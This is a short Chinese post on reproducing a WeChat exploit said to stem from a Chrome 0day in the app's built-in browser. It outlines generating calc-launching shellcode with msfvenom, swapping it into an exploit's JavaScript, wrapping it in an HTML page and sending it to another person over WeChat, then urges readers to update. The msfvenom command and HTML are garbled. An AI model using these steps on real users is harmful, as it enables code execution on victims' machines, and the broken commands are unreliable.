微信漏洞解封

这个漏洞其实和我前几天在微头条上发的chome 0day有关。内置的微信浏览器是chome的内核，默认开启沙盒模式。让我们简单地重现一下:

1.为运行计算器生成外壳代码

kali下:MSF venom-f cs harp-ax86-platform windows-o calc . cs harp-pwindows/execmd = calc.exe

第二，将exp中的shellcode替换为图中的js地址。

3.创建一个html文件来调用js

lt脚本src = # 34wx.js # 34 gt lt/script gt；第四，用微信发给别人。

测试截图

请尽快升级。好像微信被强行更新了，但是win10应用商店的微信没有被强行更新。